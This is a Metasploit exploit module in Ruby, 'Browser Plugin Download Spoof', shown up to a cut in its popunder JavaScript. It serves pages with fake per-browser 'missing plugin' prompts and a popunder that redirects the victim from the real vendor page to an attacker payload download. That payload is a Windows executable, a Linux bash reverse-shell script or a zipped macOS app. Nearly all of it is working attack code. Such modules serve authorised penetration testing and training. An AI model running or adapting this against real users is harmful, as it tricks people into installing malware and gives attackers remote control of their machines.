Files
metasploit-gs/modules/exploits/multi/browser/plugin_spoof_update.rb
T
2013-08-23 20:09:18 -05:00

598 lines
29 KiB
Ruby

##
# This module can be used to "spoof" a download from another site.
##
## Show "broken plugin" image. Clicking the plugin will navigate the user's browser
## to a legitimate URL from the plugin vendor. Simultaneously, a popunder window will
## be opened that waits for the vendor URL to load. Once the vendor page has loaded,
## the popunder navigates the parent frame to your payload.
#
## From the user's point of view, the plugin download looks legitimate.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'open-uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Browser Plugin Download Spoof",
'Description' => %q{
This module serves a page that shows a "broken plugin" image. The user
is coerced into clicking on the image in order to download and update
the plugin. When the image is clicked, a popunder window is opened, and
the original window is navigated to the (legitimate) DOWNLOADURL. Once
the page loads, the popunder navigates the top window to the download served
by this module, and immediately closes itself.
To a user, it will appear that the plugin vendor's (Flash, java) website is
serving them a plugin "update", and they will (hopefully) happily download
and execute our payload.
Note: the page served by this exploit can be embedded into an iframe for a
more realistic-looking attack vector.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>' ],
'References' => [['URL', 'http://lcamtuf.coredump.cx/fldl/']],
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('PLUGINNAME', [true, 'The name of the plugin.', 'Flash']),
OptString.new('PLUGINURL', [true, 'The URL of the vendor\'s plugin download page.',
'http://www.adobe.com/support/flashplayer/downloads.html']),
OptInt.new('LOADDELAY', [true, 'Seconds to wait before forcing the download.', 3]),
OptString.new('CLONEURL', [ false,
"If specified, displays the contents of the given URL instead of a Loading... message"
])
], self.class)
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit
end
def on_request_uri(cli, request)
if request.uri =~ /(exe|bin|command|sh|zip|autorun|py|pl)$/
print_status("Sending executable payload.")
mime = if request.headers['User-Agent']
'x-content/unix-software'
else
'application/octet-stream'
end
send_response(cli, dropped_file_contents(cli, request.headers['User-Agent']),
'Content-Type' => mime)
elsif request.uri =~ /swf$/
print_status("Sending IE10 a flash .swf to navigate xdomain page.")
send_response(cli, swf_navigate_ie10, 'Content-Type' => 'application/x-shockwave-flash')
else
print_status("Sending HTML of target page.")
send_response_html(cli, generate_html(request.headers['User-Agent']), 'Content-Type' => 'text/html')
end
end
# @return [String] the encoded executable for dropping onto the client's machine
def dropped_file_contents(cli, agent)
return if ((p=regenerate_payload(cli)) == nil)
opts = if target.present? then target.opts else {} end
case agent
when /windows/i
opts.merge!(:code => p.encoded)
generate_payload_exe(opts)
when /linux/i
# Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
@linux_payload ||= linux_payload(p)
when /os x/i
@osx_payload ||= osx_payload(p)
end
end
def linux_payload(p)
# todo: this should kick out a .rpm or .deb file, not a shell script
header = "#!/bin/bash\n\n"
payload = framework.payloads.create('cmd/unix/reverse')
payload.datastore.merge! datastore
header + payload.generate_simple('Format' => 'raw')
end
def osx_payload(p)
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, target.opts)
exe_name = Rex::Text.rand_text_alpha(8)
app_name = "App.app"
info_plist = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleAllowMixedLocalizations</key>
<true/>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleSignature</key>
<string>aplt</string>
</dict>
</plist>
EOS
zip = Rex::Zip::Archive.new
zip.add_file("#{app_name}/", '')
zip.add_file("#{app_name}/Contents/", '')
zip.add_file("#{app_name}/Contents/MacOS/", '')
zip.add_file("#{app_name}/Contents/Resources/", '')
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
zip.pack
end
def popunder_js(agent)
%Q|
document.body.innerHTML="Loading...";
var tt = document.getElementsByTagName("title");
for (var x = 0; x < tt.length; x++) { tt[x].parentNode.removeChild(tt[x]); }
var t = document.createElement("title");
document.head.appendChild(t);
t.innerHTML = "Loading...";
var itval = setInterval(function() {
var done = function() {
clearInterval(itval);
var n = navigator.userAgent;
var chrome = (/chrome/i).test(n);
var safari = (/safari/).test(n) && !(/chrome/).test(n);
var ie10 = /MSIE 1/.test(navigator.userAgent);
var ie9 = /MSIE 9/.test(navigator.userAgent);
var flash = !!navigator.mimeTypes["application/x-shockwave-flash"];
var timeout = #{datastore['LOADDELAY']}*1000;
if(chrome) timeout += 2000;
if(safari) timeout -= 2000;
setTimeout(function(){
if (chrome) {
opener.history.go(-1);
window.setTimeout(function(){
opener.location = "#{plugin_url}";
window.setTimeout(function(){window.close();}, 300);
}, 1000)
} else if ((ie9 \|\| ie10) && flash) {
window.location = "#{swf_url(agent)}";
} else {
opener.location = "#{exe_url(agent)}";
window.setTimeout(function(){window.close();}, 500);
}
}, timeout);
};
try {
if (!opener.checkSOP) {
done();
}
} catch (e) { done(); }
}, 10);
|.gsub(/\s+/, ' ').gsub("'", "\\'") # some chars screw up the injection
end
# provides an HTML interface that "spoofs" the missing plugin image for the user's browser
def generate_html(agent)
if datastore['CLONEURL'].present?
cloned_html(agent)
else
default_html(agent)
end
end
def default_html(agent)
<<-EOS
<!doctype html>
<html><head>
<style>
html, body { margin: 0; padding: 0; }
</style>
</head><body>
<object width="500px" height="500px" src="#"></object>
#{injected_script(agent)}
</body>
</html>
EOS
end
def cloned_html(agent)
fetch_cloned_content
.sub(/(<\/body>|<\/html>|\Z)/imx, injected_script(agent)+'\1')
end
def injected_script(agent)
<<-EOS
<script>
#{js_libs}
window.checkSOP = true;
setTimeout(function(){spoof_plugins({ onclick: function(e) {
if (e && e.preventDefault) e.preventDefault();
var p = popunder('about:blank');
if (browser.chrome) {
window.history.replaceState({}, '', '#{exe_url(agent, nil)}');
}
p.setTimeout('#{popunder_js(agent)}');
window.location = '#{plugin_url}';
}});}, 100);
</script>
EOS
end
def js_libs
<<-EOS
var browser = (function() {
var n = navigator.userAgent.toLowerCase();
var b = {
webkit: /webkit/.test(n),
mozilla: (/mozilla/.test(n)) && (!/(compatible|webkit)/.test(n)),
chrome: /chrome/.test(n),
msie: (/msie/.test(n)) && (!/opera/.test(n)),
firefox: /firefox/.test(n),
safari: (/safari/.test(n) && !(/chrome/.test(n))),
opera: /opera/.test(n)
};
b.version = (b.safari) ? (n.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] :
(n.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1];
return b;
})();
var spoof_plugins = (function(browser) {
browser = browser || {};
var spoof_plugins = function(opts) {
var spoof_els = function(els) {
var spoof_count = 0;
var iterate = function(i) {
spoof_count++;
var el = els[i];
if (el._skip) return;
el._skip = true;
var div = document.createElement('div');
var w = el.offsetWidth || 500, h = el.offsetHeight || 500;
if (h < 150) h = 150;
if (w < 150) w = 150;
var p = el.parentNode;
p.replaceChild(div, el);
div.style.display = 'inline-block';
div.style.width = w+'px';
div.style.height = h+'px';
div.style.textAlign = 'center';
div.style.background = '#f00';
div.style.cursor = 'pointer';
div.onclick = opts.onclick;
// browser-specific stuff
if (browser.safari) {
div.style.background = '#eee';
var style = 'color: #777;font-family:Helvetica;font-size:11px;font-weight:600;text-decoration:none;'+
'line-height:'+div.offsetHeight+'px';
var cstyle = 'color:#eee;background:#777;padding:2px 3px;border-radius:50%;font-size:9px;'+
'font-family:Verdana;text-align:center;font-weight:600;';
div.innerHTML = '<a href="#" style="'+style+'">Missing Plug-in. Click here to install '+
'<span style="'+cstyle+'">&#x2B07</span></a>';
}
else if (browser.firefox) {
var plugin = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAGXRFWHRTb2Z0d2FyZQBBZG'+
'9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ'+
'2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlI'+
'DUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3Ln'+
'czLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8'+
'vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9'+
'Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIE'+
'NTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDowRTI5RjE2Q0Y2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSIgeG1wTU06'+
'RG9jdW1lbnRJRD0ieG1wLmRpZDowRTI5RjE2REY2MjkxMUUyQUY1RkFCNjExMTIyQTQ4RSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN'+
'0YW5jZUlEPSJ4bXAuaWlkOjBFMjlGMTZBRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjBFMjlGMT'+
'ZCRjYyOTExRTJBRjVGQUI2MTExMjJBNDhFIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZ'+
'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'+
'K5CYII=';
div.style.borderRadius = div.style.mozBorderRadius = '25px';
div.style.fontFamily = 'arial, sans-serif';
div.style.backgroundImage =
'url(data:image/gif;base64,'+
'R0lGODlhOQA5AJEAAGlpaWhoaGdnZ2pqaiH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv'+
'7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2'+
'tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359'+
'fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVE'+
'Q0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwL'+
'CgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAADkAOQAAApicj6kr7Q+jXLQiifOznOkfdeIBls44miYq'+
'qiXbuSDMyR8F0IOt6RWf8VGAGKGHCDEqTIGX8oJMPknRzdRQtV6zp+uOK/B+uWJw2Gsug9Vk9Nrd'+
'3r7l8WkanhWPq/pmns0HGKU3RxeINyiIRFhn1/hU6PiHuKhIxDhpmEh5aQmEeahZyfnpycORwxIJ'+
'+ai06tpq9CobK2RWAAA7)';
div.style.backgroundRepeat = 'repeat';
div.style.boxShadow = div.style.mozBoxShadow = 'inset 0 0 8px rgba(0,0,0,.5)';
var textShadow = 'text-shadow:1px 1px 2px rgba(0,0,0,.4);';
var style1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+
'vertical-align:middle;color:#fff;font-size:12px;'+textShadow;
var style2 = 'color:#fff;text-decoration:underline;line-height:1.5;'+textShadow;
div.innerHTML = '<div style="'+style1+'"><img src="'+plugin+'" style="display:inline;" /><br />'+
'A plugin is needed to display this content.'+
'<br /><a href="#" style="'+style2+'">Install plugin...</a></div>';
}
else if (browser.ie) {
}
else if (browser.chrome) {
var puzzlep = 'data:image/gif;base64,R0lGODlhRABDAMQAAMvLy9LS0piYmNXV1eHh4aqqqrKystzc3N7e3pCQkH19f'+
'YiIiJaWlpycnIWFhZOTk9fX19TU1J+fn9jY2IqKisPDw56enpSUlNra2o2NjaKioouLi6GhoZubm46Ojru7'+
'uyH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0'+
'M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZC'+
'Pjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT0'+
'5NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQ'+
'wLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAEQAQwAABf/gJ45kaZ5oqq6n0XleIs90LcN4rmd8329AIGVI3DAKKcY'+
'mdrkwntCodNqsWpuPrDZrm+Eyl9Mlk2AIBJ20es1ur8/wuFwgvWpljJJhU043LIASgoOEhICHgA2Ki4pub2cdZ1IPC'+
'UgjLwwdfxIcnZ6foKGFg4iJFowNbXMMD3kjMQINgqGdGhwatrSdo4aIqKmPcU8XGxWvD5qzoLi2zLqfvBKljG5yUMUj'+
'CRcdFpzLzOC4tbvAyYWlp9RswlAUxiJ9Ft/h9LkSGgb5BhoC3aTTqNbBieIuWyZ5nuop5CChAIADBAggAFAgFilpvha'+
'pYsegILyDnxTW41AgQMSTBA7/FLjgD+OhPxo30hnm8UMfbwlFguNQASXKCtv+vYwpcCCDCwve2cyEUyc9CxN8ngQq4Fwi'+
'osFmHk36imlOp8waQJRKoMKDqoK6DW1UVNIwriI8eK0FNiwAsgQMLOjQ60+6ahyRKpXL92vde1F96k0gy+VVtjKHNYH7gT'+
'BOumA5VPX5QYEHbgADZo0yeTBIzLY4ieRgocPYlAUUoE3ry5E1yYK7cgupQYKBAhxYORG2radEBHkVnJV0gYuHqhoiZWWO'+
'hTJhhAkbGJeIAUOEAOAnYECAnLz5CBUqAFgPIEIE8d0xCECW5vbR6qaTgeqwnSzy4+aRd8CABBZIIAYKJKCG/333PWDdNo'+
'19wh9eJwVooYEGxgeBZ27dh8UWDg4G4WWa9eeTheZhqGJ8ASiQAWkfUkKDAyKa4400d+GFooAqDhhffAAkCGNzMnpB4ysX'+
'WDQIaxrkeCKKPRb4IwYTTNCiXB5uQQMMR8aVZGOkcOBkRDsegECUB0xJZZVBlmHFHV5wqRQYsbQkQQNNorTjmWiqueYEQX'+
'rwJpw3yDkCnaBJI0EHJQEIJZppTlnlpIEOWmShHnT5QQZngRaILHeVCamfk056ZROF1vCFAnN2ClCo/5HZp5qlljqAiw9cc'+
'AsHDSRARqE8sHqoq4h0wEBPyAWQ3l2z/lhrlRBAMEBsGZQ0AP8EFGVAQQJfZCCsCJyioc4DxlUgwAIbdGBAShnSWmu00Q4wQ'+
'AD4ADCBvNIWsEAGMPTw7aYJiFuOsQXkQ4EDHjzgwQIfSOnuu/BKe+2ZA7jnHrYMIOyBv0rxkYkbYziwQZJpMJDABAdKCjG88'+
'rZs8cvvdeCiD/96DIdAZqChRgINk1pqxBK3LC/M7gVwgMwb/FCzNjlHorPO9alxgQaRxvdsxEK7HEHFL4N3gAAKJM3DBv9SkH'+
'DOkNSXdhwXFFD1n5MCnTXXBxhdMXjgRQB20kH8u8DZc6DBT5JxJBCA1SsHnbXFDCRYAQR4Y/DBAiJn0LdSf7cyB3/RalCGJBak'+
'+ez/BFjPvbV7FSiggAMPAEAlBhV4oMC+lm9Agd9koH3GAwUMcOYEDSzArQARwA1t6Yu/3JnZQCgo++p8C4H753HwjvKAAw'+
'CgXvFXIy800UHy4cEGDjiwOrpj23475rnLUQkEb1dpPLziKT400cqGDazY6RPxrwNkcAIU5tOkt80vWhNAzwcAcK37wSwARVPA'+
'tjDlAyFQYAH/44MAnzAfMVWte5DjgOpGaIAEcs1ieQtAkP7GrX79QH0XzCDTSCOACkQqcRGQwOpikADyGQACD8QbeMqXgwrCcA'+
'EYVIrIZhgFnh0AhNJKnfA+tAEJMLBoQsRbAgDYrf5dEIkybMVRoOCB/4atrIEGwBWRKMGfeUEwi+BpgItc+MIvglGJfMhVE8j4ASp'+
'B4HhBi0BstLEFD1jxO3DEWxr5tbE62jGJI3CA2fRoBQ+UkHTeQ49nuHADAyQyi6lbwguPiERIikCSCbvCBSwJyLnN61w1MAAWP5k/'+
'CoySCKW8YyRZqEpLvidei5NXABwkg2q9kZbgWeEtH6nLU7IQRBdIgBUR0B1oZS2BGkiQrwxQNyG6p2UqBEBnaFe7IeSylP/bVwJARA'+
'nefWBZ60Gh9vSFsB42CZHhNMZveiOABMyunOY8ZzM/4AB1rnOdWsjUPzMhgAI4lB8YBGAxM2ABhzrUAgIg2whHuAAKWOxQoEgsaDp'+
'/VQMZaSuk5hth+WzJw42ldKPlK19HhxAEXIK0fCPlYRe6oIOeNjIIQA1C7Uh5U5wqEV063SlPe+qDpg61pgEFKUqNusslKHVLLSxiI5'+
'savaASgZkCjSlVnclSGLQwVT7tIldrasGvSrWUYh1rZSTJyLRqlV9OfWpbcQnWc8ZVrNgQQQEKWlef4jWvlnvqV9361lz+VawFUMoHN'+
'tBRxFrWiHu1aWP9+tiCSlYElLPlZdMX1Mxu9q2dLd87T1CAB2z0tbCNrWxnS9vXVis9KkiPbnfL29769rfADS5uWUDc4hr3uCIIAQA7';
div.style.background = '#bbb';
div.style.fontFamily = 'arial, sans-serif';
div.style.border = '1px solid #000';
div.style.boxSizing = 'border-box';
var imgs = 'margin-bottom:5px;display:inline;text-align:center;'
var stylec1 = 'height:'+div.style.height+';width:'+div.style.width+';display:table-cell;'+
'vertical-align:middle;color:#000;font-size:12px;';
var stylec2 = 'color:#000;text-decoration:underline;line-height:1.5;';
if (parseInt(browser.version) < 6) {
stylec1 += 'background:#fbee97;';
puzzlep = 'data:image/gif;base64,R0lGODlhIAAgAMQAAK6riufr8UNdlkpknC5DeZynwCc+djJMiNbc5+Lm7k5adNzh6/r7/CtGhHuIpSQ3aFN'+
'somx3kfP1+D1Thj5Xkb/G1PDy9iVAgCExWRonR+zu9Gt+p/f4+vzslzJBYzdSjSH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b19PPy'+
'8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqW'+
'ko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWF'+
'dWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCg'+
'kIBwYFBAMCAQAAIfkEAAAAAAAsAAAAACAAIAAABf9gBxgGYZ5oepIsSQBiOVF0bdvT9O38d/wvmWBALBqPA4FSefMZPgKIdErdODZD5HJ'+
'JORAoA6q4wGBwKmDtlvL5hsXTcpnjNm4FtDYYLh3IORweE1lEa3lufBADZIARgoSGh3tSDoqFDoAJHoIUQxsDnXg1em9kcmaAHBIJFRau'+
'GhoRH01ek6ZzqRISrq8aARAHM3k+iIu4gLq7vbABm7NsO7Vhxrm6vBawvgEBGATPPF4TRQXVysvb2woeBz0HDQaDROTJ5tnoAQkJ6gUVE'+
'A0/76AQwVQAQ4Rl2vDlY4VggcMJBBoEzEJhwiYPBbAx27Ywn8OPDh5EfJIFT44JEQLsJOyY4ONHBCENXDBwYIiADQUg5CiQUKHHBfoiOKz'+
'g4YFMmqFaJcCJjmXLjxkyKHDgAcODCzMPJN3YtKNLBAqsPhhroEHWThR4dkUQIYOHCi4XgMVQAusFs0jxFOiawEEGqx4cIhgM1qjEw'+
'1mfOeC4MGwJAYIJR6B72OyFBw2eRXCKwMMXwqAnl5VoF/MsKF4dKiAAAfTgCg7o3rV7OXM0Agpy6zZKwEGE3B6iWpVJuzY4L2OTl3g3'+
'FoNYo8VnimQXzR2KygRaRLdr4Cr1H+DdAaxseTtWAyP+hQdPvrL58zAAELjbvvz7mS1ghAAAOw==';
}
div.innerHTML = '<div style="'+stylec1+'"><img src="'+puzzlep+'" style="'+imgs+'" /><br />'+
'No plug-in available to display this content.'+
'<br /><a href="#" style="'+stylec2+'">Install plugin...</a></div>';
}
};
for (var i = 0; i < els.length; i++) { iterate(i); }
return spoof_count;
};
var tryspoof=function() {
var objects = top.document.getElementsByTagName('object');
var embeds = top.document.getElementsByTagName('embed');
var spoof_count = spoof_els(objects) + spoof_els(embeds);
if (spoof_count > 0) {
if (browser.firefox) {
// on firefox, let's spoof the "Install Plugin" slide-down dialog
var pp = 'data:image/gif;base64,R0lGODlhEAAPAMQfAFFEAExCAG1hFkk+AHNmElVHAEc8AEQ7AWBQAFxNAGNWAExDAU1EAGdZAI96AE'+
'E3AF5QAD41AEc9AGdWAGZWAC8oAv/98WFRAF1OAFZIAGlYAFlLAEs/AExAAP///////yH/C1hNUCBEYXRhWE1QAf/+/fz7+vn49/b'+
'19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuq'+
'qainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1'+
'cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA'+
'8ODQwLCgkIBwYFBAMCAQAAIfkEAQAAHwAsAAAAABAADwAABYGgpVRkpVhiaVrfESzMcnwtzASzJRA8IaC73q8RMUiMD9LDaDA8iJIBZ'+
'zAwHA4SzpQjiTw4nQ4YHC6LH9/yWBseo9tjNbnz6GTumUIef9dzABuBgoODAAUJCRiKi4mMgBeQCJCTlBcbEBQTmhSZnBOcmRAOGqSlp'+
'qYOHx6rrK2tHyEAOw==';
var dialog = document.createElement('div');
var leftstyle = 'position:absolute;left:10px;top:0;font-size:11px;color:#000;font-weight:600;'+
'font-family: arial, sans-serif;line-height:27px;';
var btnstyle = 'position:absolute;right:10px;top:5px;font-size:11px;color:#000;border-radius:10px;'+
'background:#ccc;padding:2px 12px;background:#f6f6f6;background-image:'+
'linear-gradient(0deg, #e9e9e9, #f6f6f6);border:1px solid #a0a0a0;'+
'font-family: arial, san-serif;box-shadow:inset 0 1px 1px rgba(255,255,255,.3),'+
'0 1px 1px rgba(255,255,255,.3);cursor:pointer;';
if (!navigator.userAgent.match(/macintosh/i)) {
btnstyle += 'top: 4px;border:1px solid #043779;padding-top:3px; padding-bottom:3px;border-radius:4px;';
}
dialog.innerHTML = '<div style="'+leftstyle+'"><img src="'+pp+'" style="vertical-align:middle;margin-right:10px" />'+
'Additional plugins are required to display all the '+
'media on this page.</div>'+
'<div style="'+btnstyle+'">Install Missing Plugins...</div>';
dialog.style.position = 'absolute'; // necessary?
dialog.style.position = 'fixed';
dialog.style.left = dialog.style.right = '0';
dialog.style.height = '27px';
if (navigator.userAgent.match(/macintosh/i)) {
dialog.style.background = '#ffe600';
dialog.style.backgroundImage = 'linear-gradient(0deg, #fdcb00, #ffe600)';
dialog.style.borderBottom = '1px solid #bd8d00';
} else {
dialog.style.background = '#ffffde';
dialog.style.borderBottom = '1px solid #aca997';
}
dialog.style.boxShadow = '0 -1px 1px rgba(255,255,255,.3)';
dialog.style.top = '-27px';
document.body.style.position = 'relative';
document.body.style.top = '0';
document.body.appendChild(dialog);
dialog.onclick = opts.onclick;
// animate it in
var y = -27;
var clearme = window.setInterval(function(){
dialog.style.top = (++y)+'px';
if (y >= 0) {
window.clearInterval(clearme);
document.body.style.top = '27px';
}
}, 10);
}
}
};
var to = 300;
setTimeout(function(){tryspoof();}, to);
};
return spoof_plugins;
})(browser);
var popunder = (function(browser){
var uniq = 0;
browser = browser || {};
var popunder = function(url, opts) {
// set some defaults for opts
opts = opts || {};
opts.name = opts.name || '_pu'+uniq++;
opts.height = opts.height || 200;
opts.width = opts.width || 200;
